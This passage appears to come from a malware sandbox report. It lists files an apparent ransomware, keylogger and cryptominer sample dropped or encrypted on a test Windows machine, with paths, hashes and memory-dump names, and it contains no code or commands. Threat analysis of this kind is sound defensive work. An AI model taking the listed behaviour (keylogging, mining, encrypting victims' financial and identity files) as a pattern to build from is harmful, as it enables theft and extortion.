T189F0221104E0119B034DE2EEAC5FBB882A27206567046E6D99B8D08A6DBDD062B696CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 551B
SHA256 2aa330d10fb66fcf0044990fb5fd0b0d5e3d8f15f7aab206aa44f49f61f8a532
MD5 22aec3a5ba5b00c56357a3d882cb7db9
SHA1 76ee7fe25a3fb496d0f97e360f07be21d106ca40
SHA512 e7b0a63609f226bad08fe143046fab33380c2eafaf9df89062da6f2d97cf73a19dfd2d764d0014dffad17870ccdb113adf7298bef15ae6110b54076233ab6a55
TLSH
T1A2F0071104E0519B034DE2EDEC5FBB842A27106567046D5D99B8D04A6DBDD062B696CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 4KB
SHA256 5e0ad556d26c317441d355b407b0331ab190f808c3c3c4cef1f26714a4f92dae
MD5 f8cbb3e139ac9e0992b34aa263a0c507
SHA1 065eaeacdcfb04161fa6b3a79e82a6775a8601c5
SHA512 125b7fce9030fdfa32b9eb3a8e9a9e75330b46a84a09621d239ad5e443ab44f341d19db209373da1e34f63b0fffe207f1d20987f7f0409db02cd2c9300bb2d0e
SSDEEP 48:5nIqWyG5H5x5q5Wb52kZ3riDTWDIvhvNEvyMbqAOQ/V/i/c1/eYWNmJDrmfFXCpu:wBoJJJq9qOuf5n
TLSH
T1D391FA1214F011DA0349E2FE9C6F6B852A2711A537006E6DDAA5C04B6DFEC062F2D7CB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

miner_config.json

Path C:\Users\Admin\AppData\Local\Temp\miner_config.json
Size 171B
SHA256 dc48853759597b2aabe139acb942b359d5a825118413921d9cf47def7ca55bf5
MD5 4a03d66ce16069429c799f66fdcea346
SHA1 88630d416b952de52ca5c04da5cedec50d1badb9
SHA512 effa8aaff4533352d34117dff6dc49c8d06d74143d6aae9c82ad1e793f498124e05b8e2ab54d755aed7f00a5dbab1d3f82aff1426c3c1d46bb2ddfe15fdc6a4b
TLSH
T167C08053DF548C0614F8734518B040D3F045535B13484C277570494C1FF5E654014200
MD5 SHA1 SHA512 TLSH

Submit Download

mining.log

Path C:\Users\Admin\AppData\Local\Temp\mining.log
Size 80B
SHA256 a9edcce6176de6acdf8ad4a38cbf4b755e7c827b7923aeda320e709455ccb9c8
MD5 03c1c6b51d302191b89561393c0b5fa1
SHA1 c06a830006878dd3972ab2f415823c9c2a704550
SHA512 28ea6492c3862b18139b1105229694db5893eca8bfb4aeb8a9787ead10b474e78b9897233a0e5b491cb964e1153143c1105a50ec71026f024d03fbb17b1f325c
TLSH
T1FEA01201524440231645B18209A142C5644084935B0DDD789148050154A80833258009
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot_005.png

Path C:\Users\Admin\AppData\Local\Temp\screenshot_005.png
Size 32B
SHA256 59d99ba4842489b836cbd78b2ba217cfeeeb2a00937f0a4aa0a94271cdb9e82a
MD5 5c3294cabf88ef94828713044e7a3a60
SHA1 ab743c22e8803268364da86d47a053e23cd661cf
SHA512 8d5e31264fc7705e2a8b814a20693f86ecfe7fd2fd6cd402f71d3c898983bf333d0e147cdacb9aacaf1b16c210151fdff44ab59e057328eb8636254b363fba45
MD5 SHA1 SHA512

Submit Download

wallet.dat

Path C:\Users\Admin\AppData\Local\Temp\wallet.dat
Size 31B
SHA256 e1defacaa01074161ca8550d49b7a0d375b31f8b5ef9a275b3b4001828da6b52
MD5 0a6adbc259bee3f6d62256a8fae01c65
SHA1 176162c0f6492c64532957fbf046e6ae4a2a37b5
SHA512 1ac66bfc9807c37881f4cefd78b315cc7ab0dce262cf894f8146f2dc79d8b11c5b31c13bf280f903a5cb940ff265879a2e31a230dce0589d5c3ecbf7b40d8393
MD5 SHA1 SHA512

Submit Download

bank_statement.docx.encrypted

Path C:\Users\Admin\Desktop\bank_statement.docx.encrypted
Size 64B
SHA256 1fdff07eacf606965b0ea335666e8929a96cc98c932848c32496c0e0747825e6
MD5 d627347985def0c694143a3e74633a6f
SHA1 cf68bbe6b6858c0be42a15d6fca738c2a18dfb39
SHA512 06ea1a51b14eaa3b19a2dd4c638a04ac4aea8945a4f0bb718709efa543bb7b535ee131ec6316c287c4deb99707ef37e52bcb8cdbaec5781dd3632806f7c280c5
TLSH
T112A022200B2CC233C33CEA282008030082B0022B8B000F208C8B223C088E002330AC08
MD5 SHA1 SHA512 TLSH

Submit Download

bitcoin_wallet.dat.encrypted

Path C:\Users\Admin\Desktop\bitcoin_wallet.dat.encrypted
Size 64B
SHA256 4582d5043966f3cc4f2b6a6d97ddaba21a264541bf83c330c7699d1d5c252767
MD5 1a33c8862bfc3a02d469acf12c6a9bf9
SHA1 73e394b01116450a019bb54d89cb2b09c590921a
SHA512 839cdbf1ec0b4b2dd12454cdfb1e1e84b505006aa02153fff6895275d3a522cf5edac5fb20c5a46129bec0b5bf2a195127d29c799aa0d9dac9b991925ed4285e
TLSH
T177A0220AE8A228E0030002BEB8C8888028200A8E8202C0AC000A2A332C23FC00030000
MD5 SHA1 SHA512 TLSH

Submit Download

client_list.xlsx.encrypted

Path C:\Users\Admin\Desktop\client_list.xlsx.encrypted
Size 64B
SHA256 f8fe863696b405bd8bb413779b60ab8ceca71c5403666fa96c419a65697942d1
MD5 c633074d40e2fde3cb18bbaa716f2a26
SHA1 0c578ef0fed9a5c5729ceb8cd3a4e4954d3929d1
SHA512 6fb476323def873d4aa9ccb2677455e4d4f721dbc7b193498347615d0c220d42a0590253eb9e6c9bec9aef7bc2954c7c8968bac29eb3244ceac0eaf210cb0fe7
TLSH
T121A02202AA800200C8033CE2030C0F0800028A0F288A00AA080A23E0000E28C08B802F
MD5 SHA1 SHA512 TLSH

Submit Download

company_secrets.docx.encrypted

Path C:\Users\Admin\Desktop\company_secrets.docx.encrypted
Size 64B
SHA256 40043004070057380b51169be50ac22fe786c35e178ec9392d8bb9fbb62a22f1
MD5 a1e03ba7c9554f40e7efa6ab6183814e
SHA1 caefb1135eb55c7374190410eae31f911b124040
SHA512 8147bad8c6e6cecf9c933d68626d47186ec3094d4a09d72798cec46791a5db0e97f4bf5409606c517a10dd3f87de7b78b6fc8169bcd9ea8f7438984fa55349d8
TLSH
T1E7A022A2008020B00CC20A0080BC02880CA080283A00E3ECAC2002038C08B2AF800383
MD5 SHA1 SHA512 TLSH

Submit Download

credit_cards.xlsx.encrypted

Path C:\Users\Admin\Desktop\credit_cards.xlsx.encrypted
Size 64B
SHA256 f8de32f1b254db3548f23762f7112ecc9b218cce23cb280b328bf151957a8b23
MD5 d2047b8557bfdbc08f0e9725ad313b05
SHA1 2098820841fa440a38e36cac97f96f35897eda69
SHA512 d2d8dd6103e225a0d3829f8ea7d1401b636e9680652bee3e037d4fa6458541356acb39d1e2876745d73f7b91143a69fb9f4bea02c356a221848460ed8df05e4f
TLSH
T1C7A022FC00C000F2C203200008CAF023303AA30200020BB008F8280A803A0838B232E0
MD5 SHA1 SHA512 TLSH

Submit Download

invoice.pdf.encrypted

Path C:\Users\Admin\Desktop\invoice.pdf.encrypted
Size 64B
SHA256 9f0689d19ae6345cfa71997cd208e0cd68235d3c2c9703f8e02e8c370ac6ec55
MD5 bc553438876eda8b4e6353629330e14c
SHA1 88e32d08728d556dac5533b71f55d79b5f66e16d
SHA512 ddc5f0c9643f41e6ac63ae631d27f484070b22f7f3976928effc940583924a586e7421f0b7d843da7e9d75b4bc5d10e71263ce119bff7ce49ec19f4046a85a18
TLSH
T1ADA0025107F799B7628653463AFD710B27C54D993503494D50EB013134A57D90C9EE46
MD5 SHA1 SHA512 TLSH

Submit Download

passport_scan.jpg.encrypted

Path C:\Users\Admin\Desktop\passport_scan.jpg.encrypted
Size 64B
SHA256 5fdb6c036de6785b8c7c0af2104d2076098a8dc95ce9a17a6f0760ff40b2408f
MD5 70ae621266d3608f0920c7dc2176e0cf
SHA1 59a5963b55bd00f1bce69b1116aa8b295b1bfdca
SHA512 9173ad071516da45f6dce778909e50c55f7aec67e5d15907a1a19fdd9e1e3b2cb2b09bc1e29946f81ff19e1a78183b708f7fcdc13e128297f12f2f655f99b1d2
TLSH
T1BEA022020A0C8A0C8C30020A8002000303F2FE300A88C03C2CC2800EF02280280C02E8
MD5 SHA1 SHA512 TLSH

Submit Download

private_key.pem

Path C:\Users\Admin\Desktop\private_key.pem
Size 27B
SHA256 f4b9853a980c3d3d25f8bdcd6b20e3590f8a3ecdee39a976bccef2d235051d22
MD5 6fc6f272d7046a669dfcf645a15bc09d
SHA1 94b90cc67bb52bbd300138dd9d6f103d5ba549c5
SHA512 edd2ca51b486c0628a48ae561bc7561ac4dee4cf42576f1d31592001e001436031fc9332099590e230b83eb95ad1cc6cd06395b82b792be48a121240e5dd120f
MD5 SHA1 SHA512

Submit Download

private_key.pem.encrypted

Path C:\Users\Admin\Desktop\private_key.pem.encrypted
Size 64B
SHA256 2e52b3bd87d0e4467366ddc48bb0f62b6bb870fe4a37dd27d4d104f0182ac6c2
MD5 ddf96e2fc2f72b480adb06ecf0a7c938
SHA1 9d94bd999adac4173f6c2c236a1b2d8085b1ad0c
SHA512 b759df4389de723abfb374a46126863bb07dcba7abb414118fd2a3f2790d5fed9a5da899e7489cb8545ff6d3a5b50fba1f95e1af60b2db81bf7192105b8b962a
TLSH
T145A002CCDE24883B30255DD31D856D3DAD9559CE66394D2D80F8AC150A1E246D673986
MD5 SHA1 SHA512 TLSH

Submit Download

project_budget.xlsx.encrypted

Path C:\Users\Admin\Desktop\project_budget.xlsx.encrypted
Size 64B
SHA256 badbaf98b55078dd3768b2b6702c9e8a7a65838f429b84f593cb22420934a95e
MD5 f126931dbcb4d0cd0c817913c250723a
SHA1 e3a2b16c4efba5d4833c6d217519eb1b04ead721
SHA512 c5b941192443987a3b27c7745f3c4679a957ad783f405646dead4b02559fa555b52f7969eb28161cb17d4a8c68dc729419b3fcca2eefa2aa23b1d707de05f362
TLSH
T109A002DE950243361016E849A2615A2C6D6B360962356272C17E21D01D8145C674C48D
MD5 SHA1 SHA512 TLSH

Submit Download

tax_return.pdf.encrypted

Path C:\Users\Admin\Desktop\tax_return.pdf.encrypted
Size 64B
SHA256 423cb874226d101d3335ef6ed6ab1db96d35e18962506307d0b73ae763bc3d34
MD5 c68b2ff6fb74cc6534487278875c8cbd
SHA1 0c0589abf7fbf2b243366bd916f80a29c8bec240
SHA512 45e3b266492b1afcf83c558ef5cb44476c80ced0239437ee7389b24859bdd56a37a70224873aa5dcbccf7261ca112be3f325bd431a1758b294c85962b8000fa4
TLSH
T144A02220032F0A2CE00E8C20C00C00008A0020A0A08028220BEB03A8320028AC0C300B
MD5 SHA1 SHA512 TLSH

Submit Download

bank_statement.docx.encrypted

Path C:\Users\Admin\Documents\bank_statement.docx.encrypted
Size 64B
SHA256 d4ff46a03795991b8d931a61de4ba46cec147331095ff997ca94a8d4ef6d8452
MD5 2a580e344738c5200e10c31e0a4ffed8
SHA1 ededf16c0a5eaaaebd9886957e0fd8f4a7d80bf8
SHA512 68e2292b54f263ec71a2359b4e8bbab24e6273779e3686e937a960d68a4ae30a805017fa7daadb30518378f512b5fb17aa5bc9692685315b447b89f3675fac47
TLSH
T143A0223202A0C0E8A00080BC002820A0B3C008AE00F2030A800288208030030C082C32
MD5 SHA1 SHA512 TLSH

Submit Download

bitcoin_wallet.dat.encrypted

Path C:\Users\Admin\Documents\bitcoin_wallet.dat.encrypted
Size 64B
SHA256 15045189dd7c4facbd1ebcf715e14a90f8c0861a82d139a6cafa0423de30eb8e
MD5 aed926632d74a6f7544f3728199d144c
SHA1 9f30de3bc2883a1f7abba8c543a429060999c864
SHA512 3adb9316400348b73dac95b043fa30f6d523994133afa98f80ca17c1882b1136b5f8e6360672716a062fce1ea63f8a94a75149d48a9f7b909e4f29f00648c0ea
TLSH
T161A022C02080800E03020AC0E3EB00E80003C0C0202F2C00AE02023CC88BE823FC3280
MD5 SHA1 SHA512 TLSH

Submit Download

client_list.xlsx.encrypted

Path C:\Users\Admin\Documents\client_list.xlsx.encrypted
Size 64B
SHA256 e28e31aa09973ab30a8355705ed1a0ed4f89b0e7fa2e0be34087bfc009f11725
MD5 540ac76afbc7307db41e421c51bb479f
SHA1 ca9960cb0f3c271e3b439068ed1892a3b6c29c3b
SHA512 9baab06d7454c87f3c135d647f3a19691e3fd25b0dd23a601be991c0c0390c4a00930418239969dcd80ee47f10fdbe19ff0ad281ebe68457a3366d7d884b3baf
TLSH
T189A0027AB56539186D595BCB0398418EE9141856168B436E847631B01545A050E67700
MD5 SHA1 SHA512 TLSH

Submit Download

company_secrets.docx.encrypted

Path C:\Users\Admin\Documents\company_secrets.docx.encrypted
Size 64B
SHA256 8b70cbecc67cdde3970fad002ce95223a54f46718085673ea03224e2fca8c613
MD5 151abd198c05d80f092c1072a187cda1
SHA1 9ea1f8bae15e56b2cfca9088bc24183dbba0878f
SHA512 7a360d5a29c911dcf36d607541e1f34fa0e8d429e3c742d3373e551caf44760a0b12244360ae2739b5cd134e85699fcadf1e079ce485e32427da79fa5e94772d
TLSH
T10CA002740D66E3A1D96F68581855723AD8150A80015CD05257EA7085F59325319792F2
MD5 SHA1 SHA512 TLSH

Submit Download

credit_cards.xlsx.encrypted

Path C:\Users\Admin\Documents\credit_cards.xlsx.encrypted
Size 64B
SHA256 17f54910986ebb1896884fe4a3edd977538e616c62415f9135bbeb69876310c0
MD5 c2258505bb867aa1ad93cba386ee5619
SHA1 80749c87df99fc6d007c5874f53c5fe2258a236f
SHA512 50b4c28781c28c8f58cfcede176bc19bfe251a7aed8661042ff1dfeef2a92cdda02271a6c2ea36012669a62e75fc069a567e7ac35988eeee6a8003839789bb39
TLSH
T150A022200A00C00A8B380C08328A088F8808B30000CC00C2E0020032FCB30C030823CC
MD5 SHA1 SHA512 TLSH

Submit Download

invoice.pdf.encrypted

Path C:\Users\Admin\Documents\invoice.pdf.encrypted
Size 64B
SHA256 dbbaa96f59c847c259f7195308a5bd7433fc7135f441ef9cb80c3dbfd035cd8c
MD5 54c4dc1e06584435335e8c6baa6d4ff4
SHA1 c79b2d2b669f57f9dd7ba6f6b0b92b36e05b68a6
SHA512 3f6ebecf96dc027f804fc1d93922efb1ec3bfcff61027fa84a83157b1be17702a0e3f2eba7b46ba2e576cef828434dbd3814c44cb3a5b4abc1b6b1e2cc6a2f94
TLSH
T16FA022B080C028A8ABE830CC88C3080E80CB0808003800CB2EEB0EEC300E3803B88E03
MD5 SHA1 SHA512 TLSH

Submit Download

passport_scan.jpg.encrypted

Path C:\Users\Admin\Documents\passport_scan.jpg.encrypted
Size 64B
SHA256 8934e8c959dde729b091039633482c2265fcc60924ff3d723fcb0d9df964e109
MD5 2a7d70be5dbd6c447045631732fe0633
SHA1 235ca15500187a8e8abb6e3fdbb2e5c1ed28d07c
SHA512 e28b60b521064239c03e00a6f7f6649ac15667cb715ca5d4e7a4d2508aa9c5ed84ca93630d406afd0f66eed2e4663c0fd4401f49ca9b92f1204bdb2c9751c292
TLSH
T175A022CC3220038EB08E880320CB000800B2AAA2C0880AC22A0FBB202028808C2B2028
MD5 SHA1 SHA512 TLSH

Submit Download

private_key.pem.encrypted

Path C:\Users\Admin\Documents\private_key.pem.encrypted
Size 64B
SHA256 366ef32c1ef2e5efd3c2250a238d1e480356fa5da605901c08603c1fa0af51ed
MD5 252f0bba60f0e5db3509499aa85a3e47
SHA1 25feb98598ea1e97d56af8f4660889cb16134ef0
SHA512 049f78628a38129224dcb89cd60552cb5f6e77b6733b96d699f4de818ae106a993c48afa7ea3dd9acc1df881c02f7d6528e396bc1050147ebc3aa885b8a49040
TLSH
T172A002299DD6600EA785A6102864D91D918229FD2073059DD71A59F443A5F4AFAEB041
MD5 SHA1 SHA512 TLSH

Submit Download

project_budget.xlsx.encrypted

Path C:\Users\Admin\Documents\project_budget.xlsx.encrypted
Size 64B
SHA256 74c2698399a03914cc0cff1d7d307572d134f9c945bc4efd9a44396cc1d18684
MD5 cd45753d843180fa199f5d90b2b9fef5
SHA1 a06c695948d9df58232fa4350ace36834b3fea36
SHA512 62367a9b09f5025aef05c856bd9ff96219cdb7265516d0726db235000edd6843a3ac2c59562930e6c55c3836032ac107da293597f7bb94534dbb99dce4d6f9e6
TLSH
T1F6A022EA200AB8032BA388CCB02C0A222E20238BC082880C0220C28B8320082E02220C
MD5 SHA1 SHA512 TLSH

Submit Download

tax_return.pdf.encrypted

Path C:\Users\Admin\Documents\tax_return.pdf.encrypted
Size 64B
SHA256 107e9cae79521baaad083a3a92a6f3fe339d63863ff94c8f7b4e5ff87e5116be
MD5 19456730c00e279686bb926897ee132a
SHA1 698b4a18fcc344adc9ccadac93aba7af766e8822
SHA512 274fa588808bce3fdc8a5eaa0e877b7a6b6dc10941807e8d201654d1ea3fdaa241d1f412d9cc3bbf29cdb4fbed3e6d4ee10c8d68953f1b5b2cd6c74891a69879
TLSH
T199A0029E5B5652BF04CA23D0593E532158EA9421F0EC650674918970378445BDA41A29
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1124-1-0x0000000005B70000-0x0000000005B80000-memory.dmp

Download

memory/1124-310-0x00000000058E0000-0x0000000005A2D000-memory.dmp

Download

memory/1124-311-0x0000000005A30000-0x0000000005ACC000-memory.dmp

Download

memory/1124-307-0x0000000005B70000-0x0000000005B80000-memory.dmp

Download

memory/1124-0-0x0000000000EF0000-0x0000000000F02000-memory.dmp

Download

memory/2368-284-0x0000000004A70000-0x0000000004B0C000-memory.dmp

Download

memory/2368-283-0x0000000004920000-0x0000000004A6D000-memory.dmp

Download

memory/3152-92-0x0000000005990000-0x00000000059B2000-memory.dmp

Download

memory/3152-292-0x0000000006370000-0x00000000063C1000-memory.dmp

Download

memory/3152-258-0x0000000006FB0000-0x0000000006FCA000-memory.dmp

Download

memory/3152-87-0x0000000005700000-0x0000000005710000-memory.dmp

Download

memory/3152-88-0x0000000003470000-0x00000000034A6000-memory.dmp

Download

memory/3152-89-0x0000000005700000-0x0000000005710000-memory.dmp

Download

memory/3152-90-0x0000000005D40000-0x000000000636A000-memory.dmp

Download

memory/3152-93-0x0000000005B30000-0x0000000005B96000-memory.dmp

Download

memory/3152-290-0x0000000003430000-0x0000000003449000-memory.dmp

Download

memory/3152-291-0x0000000005C10000-0x0000000005CFA000-memory.dmp

Download

memory/3152-293-0x0000000006910000-0x0000000006928000-memory.dmp

Download

memory/3152-257-0x0000000008100000-0x000000000877A000-memory.dmp

Download

memory/3152-289-0x0000000001650000-0x000000000172F000-memory.dmp

Download

memory/3152-232-0x0000000006AC0000-0x0000000006ADE000-memory.dmp

Download

memory/3152-233-0x0000000007030000-0x000000000707C000-memory.dmp

Download

memory/3152-101-0x0000000006590000-0x00000000068E7000-memory.dmp

Download

memory/3152-94-0x0000000005BA0000-0x0000000005C06000-memory.dmp

Download

memory/6008-297-0x0000000000D80000-0x0000000000E5F000-memory.dmp

Download

memory/6008-299-0x0000000005190000-0x000000000527A000-memory.dmp

Download

memory/6008-301-0x0000000005BC0000-0x0000000005BD8000-memory.dmp

Download

memory/6008-300-0x0000000005320000-0x0000000005371000-memory.dmp

Download

memory/6008-298-0x0000000004BF0000-0x0000000004C09000-memory.dmp

Download